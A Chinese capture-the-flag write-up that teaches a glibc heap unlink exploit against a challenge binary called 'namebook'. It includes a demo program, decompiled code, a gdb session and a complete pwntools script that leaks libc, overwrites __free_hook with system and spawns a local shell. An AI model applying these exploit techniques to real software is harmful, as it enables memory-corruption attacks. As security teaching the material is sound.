namebook 简单的unlink利用

TOC

  1. 1. 前言
    1. 1.1. demo.c
  2. 2. 题目
    1. 2.1. 功能介绍
  3. 3. 漏洞
  4. 4. 思路

源程序:namebook,IDA分析文件:namebook.i64,该pwn题需要基本的unlink的知识,本文部分借鉴自大佬 钞sir https://blog.csdn.net/qq_40827990/article/details/88257642的博客。下面的测试环境全是glibc-2.23,建议不要在glibc-2.26或更大的环境测试(因为tcache机制)。

前言

在开始之前先用一段代码来简单的看看unlink的实现:

demo.c

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure
{
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

int main()
{
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
struct chunk_structure *chunk1_hdr;
struct chunk_structure *chunk3_hdr;

// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
chunk1_hdr = (struct chunk_structure *)(chunk1 - 2);
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);
chunk3_hdr = (struct chunk_structure *)(chunk1 - 2);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

unlike确实有点抽象,可以用这个典型的unlike代码先进行调试,这样子可以对unlink有较好的理解,运行结果:

ex@ubuntu:~/test$ gcc -o demo demo.c 
demo.c: In function ‘main’:
demo.c:51:12: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
printf("%x\n", chunk1[3]);
^
ex@ubuntu:~/test$ ./demo
0x7ffc63f821e0
0x134d010
0x134d0a0
0x7ffc63f821c8
63f821c8
hacked!

题目

该pwn题主要考验对unlink的基本使用。

功能介绍

int print_menu()
{
setbuf(stdout, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("NameBook--v1.0");
puts("1.set name");
puts("2.delete name");
puts("3.get name");
puts("4.reset name");
return puts("5.exit");
}

主要是四个功能:set_name,delete_name,get_name,reset_name。

set_name

int set_name()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = get_number();
if ( v1 > 9 )
return puts("invalid range");
ptr[v1] = (char *)malloc(128uLL);
printf("name:");
gets_1((__int64)ptr[v1], 128u);
return puts("done.");
}

这里有个明显的off-by-one漏洞,理论上也可以用用这个漏洞来做,有能力的师傅可以尝试从这里切入。

gets_1

__int64 __fastcall gets_1(__int64 a1, unsigned int a2)
{
__int64 result; // rax
signed int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a2 )
break;
if ( read(0, (void *)(i + a1), 1uLL) < 0 )
exit(-1);
if ( *(_BYTE *)(i + a1) == 10 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

上面的输入程序可以溢出两字节,一个是off-by-one,一个是将最后一字节设为0。

delete_name

int delete_name()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("done.");
}

这里将free后的指针设为NULL了,所以很难利用UAF漏洞。

get_name

int get_name()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
puts(ptr[v1]);
return puts("done.");
}

打印ptr[i]里面的内容,一般是用来泄露基地址的。

reset_name

int reset_name()
{
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
printf("name:");
gets_1((__int64)ptr[v1], 256u);
return puts("done.");
}

重设内容,前面在set_name我们看到了申请的是128字节,但是这里却允许改256个字节,很明显这里存在堆溢出。

漏洞

该程序的漏洞主要集中在reset_name里的堆溢出,由于我们可以输入超过它自身chunk大小的字节数,所以可以覆盖到下一个chunk,这样就刚好有了unlink的基本条件。

思路

  1. 使用unlink漏洞控制ptr指针
  2. 泄露基地址,计算system
  3. 劫持__free_hook
  4. getshell

使用unlink漏洞控制ptr指针

set_name(2,'')
set_name(3,'')

layout = [
p64(0), # fake_chunk->pre_size
p64(0x80), # fake_chunk->size
p64(ptr_addr - 3 * SIZE_T), # fake_chunk->fd. Ensures P->fd->bk == P
p64(ptr_addr - 2 * SIZE_T), # fake_chunk->bk. Ensures P->bk->fd == P
'a' * SIZE_T * 12, # padding
p64(0x80), # chunk2_hdr->prev_size. chunk1's data region size
p64(0x90) # chunk2_hdr->size. Unsetting prev_in_use bit
]

print(hexdump(flat(layout)))

reset_name(2,flat(layout))

delete_name(3)

劫持的是ptr[2]指针,具体原理可以参照上面的unlink实验代码。

泄露基地址,计算system

layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(elf.got['exit']) # the ptr addr
]

reset_name(2,flat(layout))

log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))

leak_info = leak_info.ljust(8,'\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']

log.success('libc_addr: ' + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

如下所示__free_hook的地址偏移需要根据不同的环境自己计算,具体的计算方式如下:

ex@ubuntu:~/test$ gdb ./namebook
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./namebook...(no debugging symbols found)...done.
pwndbg> b main
Function "main" not defined.
pwndbg> b *0x400B9D
Breakpoint 1 at 0x400b9d
pwndbg> r
Starting program: /home/ex/test/namebook

Breakpoint 1, 0x0000000000400b9d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x400b9d ◂— push rbp
RBX 0x0
RCX 0x0
RDX 0x7fffffffe438 —▸ 0x7fffffffe6b9 ◂— 'LC_PAPER=zh_CN.UTF-8'
RDI 0x1
RSI 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
R8 0x400c90 ◂— ret
R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp
R10 0x8e
R11 0x7ffff7b95300 ◂— in al, dx
R12 0x400780 ◂— xor ebp, ebp
R13 0x7fffffffe420 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x400c20 ◂— push r15
RSP 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
RIP 0x400b9d ◂— push rbp
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x400b9d push rbp
0x400b9e mov rbp, rsp
0x400ba1 mov eax, 0
0x400ba6 call 0x400948

0x400bab mov edi, 0x3e
0x400bb0 call 0x400718

0x400bb5 mov eax, 0
0x400bba call 0x4008f0

0x400bbf cmp eax, 5
0x400bc2 ja 0x400c0a

0x400bc4 mov eax, eax
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fffffffe350 ◂— 0x1
02:0010│ 0x7fffffffe358 —▸ 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
03:0018│ 0x7fffffffe360 ◂— 0x1f7ffcca0
04:0020│ 0x7fffffffe368 —▸ 0x400b9d ◂— push rbp
05:0028│ 0x7fffffffe370 ◂— 0x0
06:0030│ 0x7fffffffe378 ◂— 0xa0975abb1ff25e54
07:0038│ 0x7fffffffe380 —▸ 0x400780 ◂— xor ebp, ebp
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 400b9d
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint *0x400B9D
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ffff7dd37a8 <__free_hook>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ex/test/namebook
0x601000 0x602000 r--p 1000 1000 /home/ex/test/namebook
0x602000 0x603000 rw-p 1000 2000 /home/ex/test/namebook
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff8000 0x7ffff7ffa000 r--p 2000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7ffff7dd37a8 - 0x7ffff7a0d000
$2 = 0x3c67a8
pwndbg>

这个方法比较笨,或许pwntools有函数可以直接获得。

劫持__free_hook

# 将__free_hook 设置为 system
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(__free_hook_addr)
]

reset_name(2,flat(layout))
reset_name(0,p64(system_addr))

unlink之后偏移了24个字节,由于劫持的ptr[2],所以还要向前偏移2个机器字长(前面的两个指针),然后才能覆盖到ptr[0]。

get_shell

# get_shell
sh.sendline('2\n4')

下面的完整代码会显示在刚开始的时候我们就将ptr[4]设为’/bin/sh’,所以这里可以直接使用。

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./namebook')
elf = ELF('./namebook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = "debug"

# 全局ptri[2]指针
ptr_addr = 0x602040 + 8 * 2
# 机器字长
SIZE_T = 8

log.info('&ptr[2]_addr: ' + hex(ptr_addr))

def set_name(index, name):
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil('>')

def delete_name(index):
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil('>')

def get_name(index):
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
result = sh.recvuntil('>')
return result[:-8]

def reset_name(index, name):
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil('>')

sh.recvuntil('>')
set_name(4, '/bin/sh')

set_name(2, '')
set_name(3, '')

layout = [
p64(0), # fake_chunk->pre_size
p64(0x80), # fake_chunk->size
p64(ptr_addr - 3 * SIZE_T), # fake_chunk->fd. Ensures P->fd->bk == P
p64(ptr_addr - 2 * SIZE_T), # fake_chunk->bk. Ensures P->bk->fd == P
'a' * SIZE_T * 12, # padding
p64(0x80), # chunk2_hdr->prev_size. chunk1's data region size
p64(0x90) # chunk2_hdr->size. Unsetting prev_in_use bit
]

print(hexdump(flat(layout)))

reset_name(2, flat(layout))

delete_name(3)

layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(elf.got['exit']) # the ptr addr
]

reset_name(2, flat(layout))

log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))

leak_info = leak_info.ljust(8, '\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']

log.success('libc_addr: ' + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

# 将__free_hook 设置为 system
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(__free_hook_addr)
]

reset_name(2, flat(layout))
reset_name(0, p64(system_addr))

# get_shell
sh.sendline('2\n4')

sh.interactive()

运行结果

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './namebook': pid 8561
[*] '/home/ex/test/namebook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x601ff8
[*] &ptr[2]_addr: 0x602050
00000000 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 │····│····│····│····│
00000010 38 20 60 00 00 00 00 00 40 20 60 00 00 00 00 00 │8 `·│····│@ `·│····│
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000080 80 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 │····│····│····│····│
00000090
[*] Get the leak informaiton
00000000 30 30 2f 37 aa 7f │00/7│··│
00000006
[+] libc_addr: 0x7faa372b9000
[+] system_addr: 0x7faa372fe390
[+] __free_hook_addr: 0x7faa3767f7a8
[*] Switching to interactive mode
index:$ echo hello world
hello world
$

总结

不会就多问问师傅们,或者自己上机调试一遍,实践出真知。